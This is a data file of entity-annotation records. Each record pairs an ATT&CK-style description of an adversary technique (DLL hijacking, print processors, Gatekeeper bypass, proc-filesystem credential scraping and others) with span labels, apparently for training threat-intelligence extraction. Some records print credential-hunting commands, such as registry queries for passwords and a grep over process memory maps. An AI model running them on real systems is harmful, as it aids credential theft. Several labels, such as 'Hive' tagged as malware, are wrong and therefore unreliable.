+{"text": "Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., SSH Authorized Keys).", "spans": {"TOOL: SSH": [[83, 86], [152, 155], [281, 284], [371, 374], [479, 482], [799, 802]], "TOOL: cmd": [[434, 437]], "SYSTEM: macOS": [[256, 261]], "SYSTEM: ESXi": [[365, 369]], "SYSTEM: Linux": [[246, 251]], "SYSTEM: vCenter": [[466, 473]]}, "info": {"source": "apt_reports", "name": "SSH"}}
+{"text": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n \n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.", "spans": {"SYSTEM: Office 365": [[251, 261]], "SYSTEM: AWS": [[770, 773]], "VULNERABILITY: privilege escalation": [[648, 668]]}, "info": {"source": "apt_reports", "name": "Additional Cloud Roles"}}
+{"text": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "spans": {"SYSTEM: Windows": [[673, 680], [701, 708]], "VULNERABILITY: privilege escalation": [[103, 123]]}, "info": {"source": "apt_reports", "name": "Print Processors"}}
+{"text": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "spans": {}, "info": {"source": "apt_reports", "name": "Disabling Security Tools"}}
+{"text": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and Windows Admin Shares.", "spans": {"SYSTEM: Windows": [[1083, 1090]]}, "info": {"source": "apt_reports", "name": "Disk Structure Wipe"}}
+{"text": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "spans": {"SYSTEM: Microsoft Office": [[723, 739]], "ORGANIZATION: Microsoft": [[723, 732]], "VULNERABILITY: spearphishing": [[21, 34], [168, 181], [241, 254], [328, 341], [498, 511], [970, 983]]}, "info": {"source": "apt_reports", "name": "Spearphishing Attachment"}}
+{"text": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: \n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>", "spans": {"SYSTEM: Windows": [[4, 11]], "MALWARE: Hive": [[388, 392], [462, 466]]}, "info": {"source": "apt_reports", "name": "Credentials in Registry"}}
+{"text": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.", "spans": {}, "info": {"source": "apt_reports", "name": "Stripped Payloads"}}
+{"text": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as  Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.", "spans": {"SYSTEM: Java": [[703, 707]], "SYSTEM: DCOM": [[556, 560]], "SYSTEM: Windows": [[24, 31], [155, 162]], "VULNERABILITY: privilege escalation": [[921, 941]], "VULNERABILITY: code execution": [[71, 85], [796, 810]]}, "info": {"source": "apt_reports", "name": "Component Object Model"}}
+{"text": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.  Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior.  Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. \n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.", "spans": {"TOOL: replace": [[3171, 3178]], "SYSTEM: Windows": [[1933, 1940], [2234, 2241]], "VULNERABILITY: privilege escalation": [[3541, 3561]], "VULNERABILITY: DLL sideloading": [[1276, 1291]], "VULNERABILITY: DLL hijacking": [[370, 383], [2611, 2624], [3034, 3047], [3206, 3219]]}, "info": {"source": "apt_reports", "name": "DLL"}}
+{"text": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.", "spans": {}, "info": {"source": "apt_reports", "name": "Automated Collection"}}
+{"text": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.", "spans": {"TOOL: replace": [[285, 292]], "SYSTEM: macOS": [[366, 371]], "SYSTEM: Windows": [[134, 141]], "SYSTEM: Linux": [[376, 381]]}, "info": {"source": "apt_reports", "name": "Clipboard Data"}}
+{"text": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process’s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process’s virtual address space.\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "spans": {"FILEPATH: /proc/<PID>/maps`": [[234, 251]], "FILEPATH: /proc/<PID>/mem`,": [[333, 350]], "FILEPATH: /proc/\"$pid\"/maps": [[676, 693]], "SYSTEM: Linux": [[166, 171]]}, "info": {"source": "apt_reports", "name": "Proc Filesystem"}}
+{"text": "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet. \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS). Acquired botnets may also be used to support Command and Control activity, such as Hide Infrastructure through an established Proxy network.", "spans": {"VULNERABILITY: DDoS": [[821, 825]]}, "info": {"source": "apt_reports", "name": "Botnet"}}
+{"text": "Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access.\n Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.", "spans": {}, "info": {"source": "apt_reports", "name": "Password Managers"}}
+{"text": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.  Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "spans": {"SYSTEM: Windows": [[140, 147], [166, 173], [240, 247], [266, 273], [687, 694]], "SYSTEM: Windows 8": [[687, 696]], "ORGANIZATION: Microsoft": [[130, 139], [230, 239]], "VULNERABILITY: privilege escalation": [[517, 537]]}, "info": {"source": "apt_reports", "name": "AppInit DLLs"}}
+{"text": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.", "spans": {"DOMAIN: api.apple-cloudkit.com": [[1372, 1394]], "TOOL: curl": [[2268, 2272]], "SYSTEM: macOS": [[1880, 1885]], "SYSTEM: App Store": [[1196, 1205], [1213, 1222]], "ORGANIZATION: Apple": [[187, 192], [1322, 1327], [1427, 1432]]}, "info": {"source": "apt_reports", "name": "Gatekeeper Bypass"}}
+{"text": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux. \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`,  `ListFileInGuest`, and `InitiateFileTransferFromGuest`. This may enable follow-on behaviors on the guest VMs, such as File and Directory Discovery, Data from Local System, or OS Credential Dumping.", "spans": {"SYSTEM: macOS": [[383, 388]], "SYSTEM: ESXi": [[22, 26], [106, 110], [166, 170], [261, 265], [485, 489]], "SYSTEM: Windows": [[325, 332]], "SYSTEM: vSphere": [[529, 536]], "SYSTEM: Linux": [[409, 414]], "SYSTEM: VMware": [[195, 201]]}, "info": {"source": "apt_reports", "name": "ESXi Administration Command"}}
+{"text": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.", "spans": {"VULNERABILITY: watering hole": [[1854, 1867]]}, "info": {"source": "apt_reports", "name": "Drive-by Target"}}
+{"text": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.\n\nAdversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "spans": {"TOOL: schtasks": [[384, 392]], "TOOL: tasklist": [[212, 220]], "SYSTEM: macOS": [[434, 439]], "SYSTEM: Windows": [[397, 404]], "SYSTEM: Linux": [[424, 429]]}, "info": {"source": "apt_reports", "name": "System Service Discovery"}}
+{"text": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.\n\nOn network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.", "spans": {"SYSTEM: SMB": [[679, 682]], "SYSTEM: GCP": [[1391, 1394]], "SYSTEM: AWS": [[1368, 1371]], "SYSTEM: Azure": [[1417, 1422]]}, "info": {"source": "apt_reports", "name": "Network Sniffing"}}
+{"text": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "spans": {"VULNERABILITY: code execution": [[557, 571]], "VULNERABILITY: remote code execution": [[550, 571]]}, "info": {"source": "apt_reports", "name": "Application Deployment Software"}}
+{"text": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.  The certificates used during an operation may be created, acquired, or stolen by the adversary.   Unlike Invalid Code Signature, this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "spans": {"SYSTEM: macOS": [[492, 497]], "SYSTEM: Windows": [[480, 487]], "SYSTEM: Linux": [[525, 530]]}, "info": {"source": "apt_reports", "name": "Code Signing"}}
+{"text": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the Cloud API. In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., Data from Information Repositories). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", "spans": {"SYSTEM: Elasticsearch": [[633, 646]], "SYSTEM: Slack": [[392, 397]], "SYSTEM: Office 365": [[221, 231]], "SYSTEM: Google Cloud": [[154, 166]], "SYSTEM: Salesforce": [[411, 421]], "SYSTEM: Confluence": [[399, 409]], "SYSTEM: Azure": [[135, 140]], "ORGANIZATION: Amazon": [[124, 130]], "ORGANIZATION: Google": [[154, 160], [236, 242], [337, 343]]}, "info": {"source": "apt_reports", "name": "Data from Cloud Storage"}}
+{"text": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "apt_reports", "name": "Runtime Data Manipulation"}}
+{"text": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: \n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>", "spans": {"SYSTEM: Windows": [[98, 105]], "MALWARE: Hive": [[482, 486], [556, 560]]}, "info": {"source": "apt_reports", "name": "Credentials in Registry"}}
+{"text": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol.   Net can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.", "spans": {"SYSTEM: macOS": [[659, 664]], "SYSTEM: SMB": [[419, 422]], "SYSTEM: Windows": [[387, 394]]}, "info": {"source": "apt_reports", "name": "Network Share Discovery"}}
+{"text": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "spans": {}, "info": {"source": "apt_reports", "name": "Peripheral Device Discovery"}}
+{"text": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs. \n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.", "spans": {"SYSTEM: Unix": [[338, 342]], "SYSTEM: Linux": [[475, 480]]}, "info": {"source": "apt_reports", "name": "Break Process Trees"}}
+{"text": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Network Topology"}}
+{"text": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.", "spans": {}, "info": {"source": "apt_reports", "name": "Code Signing Certificates"}}
+{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"TOOL: PowerShell": [[1076, 1086]], "SYSTEM: Windows": [[446, 453], [919, 926]], "MALWARE: attrib": [[980, 986]]}, "info": {"source": "apt_reports", "name": "Windows File and Directory Permissions Modification"}}
+{"text": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.  There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. \n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.", "spans": {"SYSTEM: Microsoft Office": [[22, 38]], "SYSTEM: Outlook": [[445, 452]], "ORGANIZATION: Microsoft": [[22, 31]]}, "info": {"source": "apt_reports", "name": "Add-ins"}}
